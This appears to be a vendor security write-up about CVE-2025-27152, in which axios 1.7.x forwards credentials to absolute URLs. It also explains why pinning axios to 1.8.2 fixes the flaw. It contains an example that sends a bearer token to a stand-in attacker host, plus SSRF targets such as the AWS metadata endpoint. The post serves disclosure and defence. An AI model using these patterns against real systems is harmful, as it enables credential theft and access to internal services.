Introduction
The package.json file in this Node.js project declared "axios": "^1.7.4" — a seemingly safe dependency specification. But that caret range resolved to axios 1.7.9 in yarn.lock, a version carrying a high-severity flaw: when an absolute URL is passed to an axios request, the library could bypass baseURL restrictions entirely and forward authentication credentials — Authorization headers, cookies, and more — to whatever host the URL pointed to, including attacker-controlled infrastructure or internal network services.
This is CVE-2025-27152, and it's a particularly dangerous class of bug because the vulnerable code path is exactly the one developers use most: making HTTP requests with user-influenced or dynamically constructed URLs.
The Vulnerability Explained
What Went Wrong in axios 1.7.x
In axios versions before 1.8.2, when a request was made using an absolute URL (e.g., https://evil.example.com/steal) rather than a relative path, the library would:
- Ignore the configured
baseURL— the absolute URL took full precedence - Still attach credentials — headers like
Authorization, session cookies, and other sensitive request metadata configured on the axios instance were forwarded to the destination of the absolute URL
Here's a simplified example of the vulnerable pattern:
// Vulnerable: axios 1.7.x
const client = axios.create({
baseURL: 'https://api.internal-service.com',
headers: {
Authorization: 'Bearer supersecret-token-abc123'
}
});
// If `userSuppliedUrl` is attacker-controlled and absolute:
const userSuppliedUrl = 'https://attacker.example.com/collect';
await client.get(userSuppliedUrl);
// ☠️ axios sends the Authorization header to attacker.example.com
The axios instance is configured to talk to api.internal-service.com with a bearer token. But when an absolute URL overrides the base, the token travels to attacker.example.com instead — and the developer's code never signals that anything went wrong.
The Attack Scenario
Consider a Node.js backend that accepts a URL parameter from a client (e.g., a webhook callback URL, a proxy endpoint, or a data-fetching feature) and passes it directly to an axios instance:
// Dangerous pattern in production code
app.post('/fetch-resource', async (req, res) => {
const { resourceUrl } = req.body; // user-controlled input
const response = await apiClient.get(resourceUrl); // axios 1.7.9
res.json(response.data);
});
An attacker sends resourceUrl: "http://169.254.169.254/latest/meta-data/" (AWS metadata endpoint) or "http://internal-database:5432". The server makes that request from its own network context — bypassing firewalls — and returns internal data. Worse, if apiClient has an Authorization header configured, that credential is leaked to any absolute URL the attacker specifies.
Why the ^1.7.4 Range Made This Worse
The original package.json used:
"axios": "^1.7.4"
The caret (^) allows minor and patch upgrades automatically. In yarn.lock, this resolved to:
axios@^1.7.4:
version "1.7.9"
Version 1.7.9 is still within the vulnerable range. Developers relying on automatic patch updates would never have been protected from this CVE — it required a minor version bump to 1.8.x.
The Fix
What Changed in the Code
The fix makes two important changes to package.json and yarn.lock:
Before (package.json):
"dependencies": {
"axios": "^1.7.4",
...
}
After (package.json):
"dependencies": {
"axios": "1.8.2",
...
}
The caret range is removed entirely. Instead of ^1.7.4 (which permits any 1.x.x >= 1.7.4), the version is pinned exactly to 1.8.2. This prevents any future yarn install or npm install from silently resolving to a different — potentially vulnerable — version.
Before (yarn.lock):
axios@^1.7.4:
version "1.7.9"
resolved "https://registry.yarnpkg.com/axios/-/axios-1.7.9.tgz#d7d071380c132a24accda1b2cfc1535b79ec650a"
integrity sha512-LhLcE7Hbiryz8oMDdDptSrWowmB4Bl6RCt6sIJKpRB4XtVf0iEgewX3au/pJqm+Py1kCASkb/FFKjxQaLtxJvw==
After (yarn.lock):
axios@1.8.2:
version "1.8.2"
resolved "https://registry.yarnpkg.com/axios/-/axios-1.8.2.tgz#fabe06e241dfe83071d4edfbcaa7b1c3a40f7979"
integrity sha512-ls4GYBm5aig9vWx8AWDSGLpnpDQRtWAfrjU+EuytuODrFBkqesN2RkOQCBzrA1RQNHw1SmRMSDDDSwzNAYQ6Rg==
The lockfile now references a completely different tarball hash (fabe06e... vs d7d071...) with a new integrity checksum, confirming that a different, patched binary is being installed.
What axios 1.8.2 Actually Fixed
In the patched version, axios now properly validates absolute URLs against the configured baseURL and request configuration. Credentials and headers are no longer blindly forwarded when an absolute URL overrides the base — the library enforces that sensitive headers are only sent to the expected host, preventing both the SSRF vector and the credential leakage.
Prevention & Best Practices
1. Pin Critical Security Dependencies
Avoid using caret (^) or tilde (~) ranges for security-sensitive libraries in production. A range like ^1.7.4 that silently resolves to 1.7.9 can leave you exposed to known CVEs for weeks.
// Prefer exact pinning for security-critical packages
"axios": "1.8.2" ✅
// Avoid open ranges that may resolve to vulnerable versions
"axios": "^1.7.4" ⚠️
2. Validate URLs Before Passing to axios
Even with a patched axios, never pass raw user input to HTTP client calls. Implement an allowlist:
const ALLOWED_HOSTS = ['api.trusted.com', 'data.partner.org'];
function isSafeUrl(url) {
try {
const parsed = new URL(url);
return ALLOWED_HOSTS.includes(parsed.hostname);
} catch {
return false;
}
}
// Guard before every axios call with user-supplied URLs
if (!isSafeUrl(userSuppliedUrl)) {
throw new Error('URL not in allowlist');
}
await apiClient.get(userSuppliedUrl);
3. Use Software Composition Analysis (SCA) Scanning
Tools like Trivy (which flagged this exact CVE), Snyk, Dependabot, and OWASP Dependency-Check scan your package-lock.json or yarn.lock against known vulnerability databases. Integrate these into your CI/CD pipeline:
# Example: Trivy scan for known CVEs in Node.js dependencies
trivy fs --scanners vuln ./package-lock.json
4. Follow OWASP SSRF Prevention Guidelines
OWASP's SSRF Prevention Cheat Sheet recommends:
- Validating and sanitizing all user-supplied URLs
- Enforcing allowlists of permitted hosts and schemes
- Blocking requests to internal IP ranges (RFC 1918, loopback, link-local)
- Using network-level controls (egress filtering) as a defense-in-depth layer
5. Audit axios Instance Configurations
Review all places in your codebase where axios instances are created with credentials:
// High-risk pattern: axios instance with credentials + dynamic URLs
const sensitiveClient = axios.create({
headers: { Authorization: `Bearer ${process.env.API_KEY}` }
});
// Audit every call to sensitiveClient.get/post/put/delete
Key Takeaways
- The
^1.7.4semver range inpackage.jsonresolved to1.7.9— a version still vulnerable to CVE-2025-27152, demonstrating that caret ranges can silently keep you on vulnerable code. - Absolute URLs in axios 1.7.x bypass
baseURLand carry credentials — any code path where user input reaches an axios call with an absolute URL is a potential SSRF and credential leakage vector. - Pinning to
1.8.2(not just upgrading to^1.8.x) prevents future lockfile drift back into vulnerable territory and is the safer production posture for this library. - The
yarn.lockintegrity hash changed fromd7d071...tofabe06e..., confirming a genuinely different binary — always verify lockfile changes when applying security upgrades. - SSRF is not just a server misconfiguration issue — library-level bugs like this one can introduce SSRF even in well-hardened infrastructure, making dependency scanning an essential security control.
How Orbis AppSec Detected This
- Source: User-influenced or dynamically constructed absolute URLs passed as arguments to axios request methods (
client.get(),client.post(), etc.) - Sink: axios HTTP client call in the production dependency chain, resolved to
axios@1.7.9via the^1.7.4range inpackage.json - Missing control: No validation that absolute URLs supplied to axios requests matched the configured
baseURLhost; no stripping of credential headers when the destination host differed from the intended target - CWE: CWE-918 — Server-Side Request Forgery (SSRF)
- Fix: The dependency was upgraded from the vulnerable
^1.7.4range (resolving to1.7.9) to the exact pinned version1.8.2, which contains the upstream patch for absolute URL handling and credential isolation.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2025-27152 is a sharp reminder that HTTP client libraries are not passive tools — they make trust decisions about where to send credentials, and those decisions can be subverted by something as simple as an absolute URL. The vulnerable axios@1.7.9 (silently resolved from ^1.7.4) would forward your Authorization headers to any host an attacker could inject into a URL parameter.
The fix is surgical: pin axios to 1.8.2 in both package.json and yarn.lock, verify the lockfile integrity hash changed, and layer in URL validation at the application level so your code doesn't depend solely on library behavior for SSRF protection. For any Node.js application that makes outbound HTTP requests with user-influenced URLs, this upgrade is not optional.